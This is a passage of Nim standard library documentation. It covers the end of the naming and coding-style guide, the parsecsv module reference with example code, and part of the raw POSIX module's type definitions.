should use camelCase whereas pure enum values should use PascalCase. ``` type PathComponent {.pure.} = enum Dir LinkToDir File LinkToFile ``` * In the age of HTTP, HTML, FTP, TCP, IP, UTF, WWW it is foolish to pretend these are somewhat special words requiring all uppercase. Instead treat them as what they are: Real words. So it's `parseUrl` rather than `parseURL`, `checkHttpHeader` instead of `checkHTTPHeader` etc. * Operations like `mitems` or `mpairs` (or the now deprecated `mget`) that allow a *mutating view* into some data structure should start with an `m`. * When both in-place mutation and 'returns transformed copy' are available the latter is a past participle of the former: + reverse and reversed in algorithm + sort and sorted + rotate and rotated * When the 'returns transformed copy' version already exists like `strutils.replace` an in-place version should get an `-In` suffix (`replaceIn` for this example). * Use `subjectVerb`, not `verbSubject`, e.g.: `fileExists`, not `existsFile`. The stdlib API is designed to be **easy to use** and consistent. Ease of use is measured by the number of calls to achieve a concrete high level action. The ultimate goal is that the programmer can *guess* a name. The library uses a simple naming scheme that makes use of common abbreviations to keep the names short but meaningful. | English word | To use | Notes | | --- | --- | --- | | initialize | initT | `init` is used to create a value type `T` | | new | newP | `new` is used to create a reference type `P` | | find | find | should return the position where something was found; for a bool result use `contains` | | contains | contains | often short for `find() >= 0` | | append | add | use `add` instead of `append` | | compare | cmp | should return an int with the `< 0` `== 0` or `> 0` semantics; for a bool result use `sameXYZ` | | put | put, `[]=` | consider overloading `[]=` for put | | get | get, `[]` | consider overloading `[]` for get; consider to not use `get` as a prefix: `len` instead of `getLen` | | length | len | also used for *number of elements* | | size | size, len | size should refer to a byte size | | capacity | cap | | | memory | mem | implies a low-level operation | | items | items | default iterator over a collection | | pairs | pairs | iterator over (key, value) pairs | | delete | delete, del | del is supposed to be faster than delete, because it does not keep the order; delete keeps the order | | remove | delete, del | inconsistent right now | | include | incl | | | exclude | excl | | | command | cmd | | | execute | exec | | | environment | env | | | variable | var | | | value | value, val | val is preferred, inconsistent right now | | executable | exe | | | directory | dir | | | path | path | path is the string "/usr/bin" (for example), dir is the content of "/usr/bin"; inconsistent right now | | extension | ext | | | separator | sep | | | column | col, column | col is preferred, inconsistent right now | | application | app | | | configuration | cfg | | | message | msg | | | argument | arg | | | object | obj | | | parameter | param | | | operator | opr | | | procedure | proc | | | function | func | | | coordinate | coord | | | rectangle | rect | | | point | point | | | symbol | sym | | | literal | lit | | | string | str | | | identifier | ident | | | indentation | indent | | ### Coding Conventions * The 'return' statement should ideally be used when its control-flow properties are required. Use a procedure's implicit 'result' variable whenever possible. This improves readability. ``` proc repeat(text: string, x: int): string = result = "" for i in 0 .. x: result.add($i) ``` * Use a proc when possible, only using the more powerful facilities of macros, templates, iterators, and converters when necessary. * Use the `let` statement (not the `var` statement) when declaring variables that do not change within their scope. Using the `let` statement ensures that variables remain immutable, and gives those who read the code a better idea of the code's purpose. ### Conventions for multi-line statements and expressions * Tuples which are longer than one line should indent their parameters to align with the parameters above it. ``` type LongTupleA = tuple[wordyTupleMemberOne: int, wordyTupleMemberTwo: string, wordyTupleMemberThree: float] ``` * Similarly, any procedure and procedure type declarations that are longer than one line should do the same thing. ``` type EventCallback = proc (timeReceived: Time, errorCode: int, event: Event, output: var string) proc lotsOfArguments(argOne: string, argTwo: int, argThree: float, argFour: proc(), argFive: bool): int {.heyLookALongPragma.} = ``` * Multi-line procedure calls should continue on the same column as the opening parenthesis (like multi-line procedure declarations). ``` startProcess(nimExecutable, currentDirectory, compilerArguments environment, processOptions) ``` nim parsecsv parsecsv ======== This module implements a simple high performance CSV (comma separated value) parser. Basic usage ----------- ``` import parsecsv from os import paramStr from streams import newFileStream var s = newFileStream(paramStr(1), fmRead) if s == nil: quit("cannot open the file" & paramStr(1)) var x: CsvParser open(x, s, paramStr(1)) while readRow(x): echo "new row: " for val in items(x.row): echo "##", val, "##" close(x) ``` For CSV files with a header row, the header can be read and then used as a reference for item access with [rowEntry](#rowEntry,CsvParser,string): ``` import parsecsv # Prepare a file let content = """One,Two,Three,Four 1,2,3,4 10,20,30,40 100,200,300,400 """ writeFile("temp.csv", content) var p: CsvParser p.open("temp.csv") p.readHeaderRow() while p.readRow(): echo "new row: " for col in items(p.headers): echo "##", col, ":", p.rowEntry(col), "##" p.close() ``` See also -------- * [streams module](streams) for using [open proc](#open,CsvParser,Stream,string,char,char,char) and other stream processing (like [close proc](streams#close,Stream)) * [parseopt module](parseopt) for a command line parser * [parsecfg module](parsecfg) for a configuration file parser * [parsexml module](parsexml) for a XML / HTML parser * [parsesql module](parsesql) for a SQL parser * [other parsers](lib#pure-libraries-parsers) for other parsers Imports ------- <lexbase>, <streams>, <os> Types ----- ``` CsvRow = seq[string] ``` A row in a CSV file. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsecsv.nim#L72) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsecsv.nim#L72) ``` CsvParser = object of BaseLexer row*: CsvRow filename: string sep, quote, esc: char skipWhite: bool currRow: int headers*: seq[string] ``` The parser object. It consists of two public fields: * `row` is the current row * `headers` are the columns that are defined in the csv file (read using [readHeaderRow](#readHeaderRow,CsvParser)). Used with [rowEntry](#rowEntry,CsvParser,string)). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsecsv.nim#L73) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsecsv.nim#L73) ``` CsvError = object of IOError ``` An exception that is raised if a parsing error occurs. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsecsv.nim#L87) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsecsv.nim#L87) Procs ----- ``` proc open(my: var CsvParser; input: Stream; filename: string; separator = ','; quote = '\"'; escape = '\x00'; skipInitialSpace = false) {...}{. raises: [IOError, OSError], tags: [ReadIOEffect].} ``` Initializes the parser with an input stream. `Filename` is only used for nice error messages. The parser's behaviour can be controlled by the diverse optional parameters:* `separator`: character used to separate fields * `quote`: Used to quote fields containing special characters like `separator`, `quote` or new-line characters. '\0' disables the parsing of quotes. * `escape`: removes any special meaning from the following character; '\0' disables escaping; if escaping is disabled and `quote` is not '\0', two `quote` characters are parsed one literal `quote` character. * `skipInitialSpace`: If true, whitespace immediately following the `separator` is ignored. See also: * [open proc](#open,CsvParser,string,char,char,char) which creates the file stream for you **Example:** ``` import streams var strm = newStringStream("One,Two,Three\n1,2,3\n10,20,30") var parser: CsvParser parser.open(strm, "tmp.csv") parser.close() strm.close() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsecsv.nim#L103) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsecsv.nim#L103) ``` proc open(my: var CsvParser; filename: string; separator = ','; quote = '\"'; escape = '\x00'; skipInitialSpace = false) {...}{. raises: [CsvError, IOError, OSError], tags: [ReadIOEffect].} ``` Similar to the [other open proc](#open,CsvParser,Stream,string,char,char,char), but creates the file stream for you. **Example:** ``` from os import removeFile writeFile("tmp.csv", "One,Two,Three\n1,2,3\n10,20,300") var parser: CsvParser parser.open("tmp.csv") parser.close() removeFile("tmp.csv") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsecsv.nim#L139) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsecsv.nim#L139) ``` proc processedRows(my: var CsvParser): int {...}{.raises: [], tags: [].} ``` Returns number of the processed rows. But even if [readRow](#readRow,CsvParser,int) arrived at EOF then processed rows counter is incremented. **Example:** ``` import streams var strm = newStringStream("One,Two,Three\n1,2,3") var parser: CsvParser parser.open(strm, "tmp.csv") doAssert parser.readRow() doAssert parser.processedRows() == 1 doAssert parser.readRow() doAssert parser.processedRows() == 2 ## Even if `readRow` arrived at EOF then `processedRows` is incremented. doAssert parser.readRow() == false doAssert parser.processedRows() == 3 doAssert parser.readRow() == false doAssert parser.processedRows() == 4 parser.close() strm.close() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsecsv.nim#L200) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsecsv.nim#L200) ``` proc readRow(my: var CsvParser; columns = 0): bool {...}{. raises: [IOError, OSError, CsvError], tags: [ReadIOEffect].} ``` Reads the next row; if `columns` > 0, it expects the row to have exactly this many columns. Returns false if the end of the file has been encountered else true. Blank lines are skipped. **Example:** ``` import streams var strm = newStringStream("One,Two,Three\n1,2,3\n\n10,20,30") var parser: CsvParser parser.open(strm, "tmp.csv") doAssert parser.readRow() doAssert parser.row == @["One", "Two", "Three"] doAssert parser.readRow() doAssert parser.row == @["1", "2", "3"] ## Blank lines are skipped. doAssert parser.readRow() doAssert parser.row == @["10", "20", "30"] var emptySeq: seq[string] doAssert parser.readRow() == false doAssert parser.row == emptySeq doAssert parser.readRow() == false doAssert parser.row == emptySeq parser.close() strm.close() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsecsv.nim#L225) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsecsv.nim#L225) ``` proc close(my: var CsvParser) {...}{.inline, raises: [Exception, IOError, OSError], tags: [WriteIOEffect].} ``` Closes the parser `my` and its associated input stream. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsecsv.nim#L290) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsecsv.nim#L290) ``` proc readHeaderRow(my: var CsvParser) {...}{.raises: [IOError, OSError, CsvError], tags: [ReadIOEffect].} ``` Reads the first row and creates a look-up table for column numbers See also:* [rowEntry proc](#rowEntry,CsvParser,string) **Example:** ``` import streams var strm = newStringStream("One,Two,Three\n1,2,3") var parser: CsvParser parser.open(strm, "tmp.csv") parser.readHeaderRow() doAssert parser.headers == @["One", "Two", "Three"] doAssert parser.row == @["One", "Two", "Three"] doAssert parser.readRow() doAssert parser.headers == @["One", "Two", "Three"] doAssert parser.row == @["1", "2", "3"] parser.close() strm.close() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsecsv.nim#L294) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsecsv.nim#L294) ``` proc rowEntry(my: var CsvParser; entry: string): var string {...}{. raises: [KeyError], tags: [].} ``` Accesses a specified `entry` from the current row. Assumes that [readHeaderRow](#readHeaderRow,CsvParser) has already been called. If specified `entry` does not exist, raises KeyError. **Example:** ``` import streams var strm = newStringStream("One,Two,Three\n1,2,3\n\n10,20,30") var parser: CsvParser parser.open(strm, "tmp.csv") ## Requires calling `readHeaderRow`. parser.readHeaderRow() doAssert parser.readRow() doAssert parser.rowEntry("One") == "1" doAssert parser.rowEntry("Two") == "2" doAssert parser.rowEntry("Three") == "3" doAssertRaises(KeyError): discard parser.rowEntry("NonexistentEntry") parser.close() strm.close() ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsecsv.nim#L320) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsecsv.nim#L320) nim posix posix ===== This is a raw POSIX interface module. It does not not provide any convenience: cstrings are used instead of proper Nim strings and return codes indicate errors. If you want exceptions and a proper Nim-like interface, use the OS module or write a wrapper. For high-level wrappers specialized for Linux and BSDs see: <posix_utils> Coding conventions: ALL types are named the same as in the POSIX standard except that they start with 'T' or 'P' (if they are pointers) and without the '\_t' suffix to be consistent with Nim conventions. If an identifier is a Nim keyword the `identifier` notation is used. This library relies on the header files of your C compiler. The resulting C code will just `#include <XYZ.h>` and *not* define the symbols declared here. Types ----- ``` DIR {...}{.importc: "DIR", header: "<dirent.h>", incompleteStruct.} = object ``` A type representing a directory stream. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L31) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L31) ``` SocketHandle = distinct cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L35) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L35) ``` Time {...}{.importc: "time_t", header: "<time.h>".} = distinct clong ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L38) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L38) ``` Timespec {...}{.importc: "struct timespec", header: "<time.h>", final, pure.} = object tv_sec*: Time ## Seconds. tv_nsec*: clong ## Nanoseconds. ``` struct timespec [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L41) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L41) ``` Dirent {...}{.importc: "struct dirent", header: "<dirent.h>", final, pure.} = object d_ino*: Ino d_off*: Off d_reclen*: cushort d_type*: int8 d_name*: array[256, cchar] ``` dirent\_t struct [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L46) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L46) ``` Tflock {...}{.importc: "struct flock", final, pure, header: "<fcntl.h>".} = object l_type*: cshort ## Type of lock; F_RDLCK, F_WRLCK, F_UNLCK. l_whence*: cshort ## Flag for starting offset. l_start*: Off ## Relative offset in bytes. l_len*: Off ## Size; if 0 then until EOF. l_pid*: Pid ## Process ID of the process holding the lock; ## returned with F_GETLK. ``` flock type [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L54) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L54) ``` Glob {...}{.importc: "glob_t", header: "<glob.h>", final, pure.} = object gl_pathc*: csize_t ## Count of paths matched by pattern. gl_pathv*: cstringArray ## Pointer to a list of matched pathnames. gl_offs*: csize_t ## Slots to reserve at the beginning of gl_pathv. gl_flags*: cint gl_closedir*: pointer gl_readdir*: pointer gl_opendir*: pointer gl_lstat*: pointer gl_stat*: pointer ``` glob\_t [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L65) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L65) ``` Group {...}{.importc: "struct group", header: "<grp.h>", final, pure.} = object gr_name*: cstring ## The name of the group. gr_passwd*: cstring gr_gid*: Gid ## Numerical group ID. gr_mem*: cstringArray ## Pointer to a null-terminated array of character ## pointers to member names. ``` struct group [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L77) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L77) ``` Iconv {...}{.importc: "iconv_t", header: "<iconv.h>".} = pointer ``` Identifies the conversion from one codeset to another. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L84) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L84) ``` Lconv {...}{.importc: "struct lconv", header: "<locale.h>", final, pure.} = object decimal_point*: cstring thousands_sep*: cstring grouping*: cstring int_curr_symbol*: cstring currency_symbol*: cstring mon_decimal_point*: cstring mon_thousands_sep*: cstring mon_grouping*: cstring positive_sign*: cstring negative_sign*: cstring int_frac_digits*: char frac_digits*: char p_cs_precedes*: char p_sep_by_space*: char n_cs_precedes*: char n_sep_by_space*: char p_sign_posn*: char n_sign_posn*: char int_p_cs_precedes*: char int_p_sep_by_space*: char int_n_cs_precedes*: char int_n_sep_by_space*: char int_p_sign_posn*: char int_n_sign_posn*: char ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L88) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L88) ``` Mqd {...}{.importc: "mqd_t", header: "<mqueue.h>".} = cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L114) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L114) ``` MqAttr {...}{.importc: "struct mq_attr", header: "<mqueue.h>", final, pure.} = object mq_flags*: clong ## Message queue flags. mq_maxmsg*: clong ## Maximum number of messages. mq_msgsize*: clong ## Maximum message size. mq_curmsgs*: clong ## Number of messages currently queued. pad: array[4, clong] ``` message queue attribute [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L117) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L117) ``` Passwd {...}{.importc: "struct passwd", header: "<pwd.h>", final, pure.} = object pw_name*: cstring ## User's login name. pw_passwd*: cstring pw_uid*: Uid ## Numerical user ID. pw_gid*: Gid ## Numerical group ID. pw_gecos*: cstring pw_dir*: cstring ## Initial working directory. pw_shell*: cstring ## Program to use as shell. ``` struct passwd [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L125) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L125) ``` Blkcnt {...}{.importc: "blkcnt_t", header: "<sys/types.h>".} = clong ``` used for file block counts [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L134) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L134) ``` Blksize {...}{.importc: "blksize_t", header: "<sys/types.h>".} = clong ``` used for block sizes [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L136) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L136) ``` Clock {...}{.importc: "clock_t", header: "<sys/types.h>".} = clong ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L138) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L138) ``` ClockId {...}{.importc: "clockid_t", header: "<sys/types.h>".} = cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L139) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L139) ``` Dev {...}{.importc: "dev_t", header: "<sys/types.h>".} = culong ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L140) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L140) ``` Fsblkcnt {...}{.importc: "fsblkcnt_t", header: "<sys/types.h>".} = culong ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L141) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L141) ``` Fsfilcnt {...}{.importc: "fsfilcnt_t", header: "<sys/types.h>".} = culong ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L142) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L142) ``` Gid {...}{.importc: "gid_t", header: "<sys/types.h>".} = cuint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L143) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L143) ``` Id {...}{.importc: "id_t", header: "<sys/types.h>".} = cuint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L144) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L144) ``` Ino {...}{.importc: "ino_t", header: "<sys/types.h>".} = culong ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L145) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L145) ``` Key {...}{.importc: "key_t", header: "<sys/types.h>".} = cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L146) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L146) ``` Mode {...}{.importc: "mode_t", header: "<sys/types.h>".} = uint32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L147) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L147) ``` Nlink {...}{.importc: "nlink_t", header: "<sys/types.h>".} = culong ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L148) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L148) ``` Off {...}{.importc: "off_t", header: "<sys/types.h>".} = clong ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L149) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L149) ``` Pid {...}{.importc: "pid_t", header: "<sys/types.h>".} = cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L150) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L150) ``` Pthread_attr {...}{.importc: "pthread_attr_t", header: "<sys/types.h>", pure, final.} = object abi: array[56 div 8, clong] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L152) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L152) ``` Pthread_barrier {...}{.importc: "pthread_barrier_t", header: "<sys/types.h>", pure, final.} = object abi: array[32 div 8, clong] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L156) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L156) ``` Pthread_barrierattr {...}{.importc: "pthread_barrierattr_t", header: "<sys/types.h>", pure, final.} = object abi: array[4 div 4, cint] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L159) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L159) ``` Pthread_cond {...}{.importc: "pthread_cond_t", header: "<sys/types.h>", pure, final.} = object abi: array[48 div 8, clonglong] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L163) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L163) ``` Pthread_condattr {...}{.importc: "pthread_condattr_t", header: "<sys/types.h>", pure, final.} = object abi: array[4 div 4, cint] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L166) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L166) ``` Pthread_key {...}{.importc: "pthread_key_t", header: "<sys/types.h>".} = cuint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L168) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L168) ``` Pthread_mutex {...}{.importc: "pthread_mutex_t", header: "<sys/types.h>", pure, final.} = object abi: array[48 div 8, clong] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L170) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L170) ``` Pthread_mutexattr {...}{.importc: "pthread_mutexattr_t", header: "<sys/types.h>", pure, final.} = object abi: array[4 div 4, cint] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L173) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L173) ``` Pthread_once {...}{.importc: "pthread_once_t", header: "<sys/types.h>".} = cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L175) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L175) ``` Pthread_rwlock {...}{.importc: "pthread_rwlock_t", header: "<sys/types.h>", pure, final.} = object abi: array[56 div 8, clong] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L177) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L177) ``` Pthread_rwlockattr {...}{.importc: "pthread_rwlockattr_t", header: "<sys/types.h>".} = object abi: array[8 div 8, clong] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L180) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L180) ``` Pthread_spinlock {...}{.importc: "pthread_spinlock_t", header: "<sys/types.h>".} = cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L183) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L183) ``` Pthread {...}{.importc: "pthread_t", header: "<sys/types.h>".} = culong ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L184) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L184) ``` Suseconds {...}{.importc: "suseconds_t", header: "<sys/types.h>".} = clong ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L185) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L185) ``` Timer {...}{.importc: "timer_t", header: "<sys/types.h>".} = pointer ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L187) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L187) ``` Uid {...}{.importc: "uid_t", header: "<sys/types.h>".} = cuint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L188) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L188) ``` Useconds {...}{.importc: "useconds_t", header: "<sys/types.h>".} = cuint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L189) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L189) ``` Utsname {...}{.importc: "struct utsname", header: "<sys/utsname.h>", final, pure.} = object sysname*, ## Name of this implementation of the operating system. nodename*, ## Name of this node within the communications ## network to which this node is attached, if any. release*, ## Current release level of this implementation. version*, ## Current version level of this release. machine*, ## Name of the hardware type on which the ## system is running. domainname*: array[65, char] ``` struct utsname [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L193) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L193) ``` Sem {...}{.importc: "sem_t", header: "<semaphore.h>", final, pure.} = object abi: array[32 div 8, clong] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L203) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L203) ``` Ipc_perm {...}{.importc: "struct ipc_perm", header: "<sys/ipc.h>", final, pure.} = object key: Key uid*: Uid ## Owner's user ID. gid*: Gid ## Owner's group ID. cuid*: Uid ## Creator's user ID. cgid*: Gid ## Creator's group ID. mode*: cshort ## Read/write permission. pad1: cshort seq1: cshort pad2: cshort reserved1: culong reserved2: culong ``` struct ipc\_perm [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L207) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L207) ``` Stat {...}{.importc: "struct stat", header: "<sys/stat.h>", final, pure.} = object st_dev*: Dev ## Device ID of device containing file. st_ino*: Ino ## File serial number. st_nlink*: Nlink ## Number of hard links to the file. st_mode*: Mode ## Mode of file (see below). st_uid*: Uid ## User ID of file. st_gid*: Gid ## Group ID of file. pad0 {...}{.importc: "__pad0".}: cint st_rdev*: Dev ## Device ID (if file is character or block special). st_size*: Off ## For regular files, the file size in bytes. ## For symbolic links, the length in bytes of the ## pathname contained in the symbolic link. ## For a shared memory object, the length in bytes. ## For a typed memory object, the length in bytes. ## For other file types, the use of this field is ## unspecified. st_blksize*: Blksize ## A file system-specific preferred I/O block size ## ## for this object. In some file system types, this ## ## may vary from file to file. st_blocks*: Blkcnt ## Number of blocks allocated for this object. st_atim*: Timespec ## Time of last access. st_mtim*: Timespec ## Time of last data modification. st_ctim*: Timespec ## Time of last status change. ``` struct stat [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64.nim#L221) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64.nim#L221) ``` Statvfs {...}{.importc: "struct statvfs", header: "<sys/statvfs.h>", final, pure.} = object f_bsize*: culong ## File system block size. f_frsize*: culong ## Fundamental file system block size. f_blocks*: Fsblkcnt ## Total number of blocks on file system ## in units of f_frsize. f_bfree*: Fsblkcnt ## Total number of free blocks. f_bavail*: Fsblkcnt ## Number of free blocks available to ## non-privileged process. f_files*: Fsfilcnt ## Total number of file serial numbers. f_ffree*: Fsfilcnt ## Total number of free file serial numbers. f_favail*: Fsfilcnt ## Number of file serial numbers available to ## non-privileged process. f_fsid*: culong ## File system ID. f_flag*: culong ## Bit mask of f_flag values. f_namemax*: culong ## Maximum filename length. f_spare: array[6, cint] ``` struct statvfs 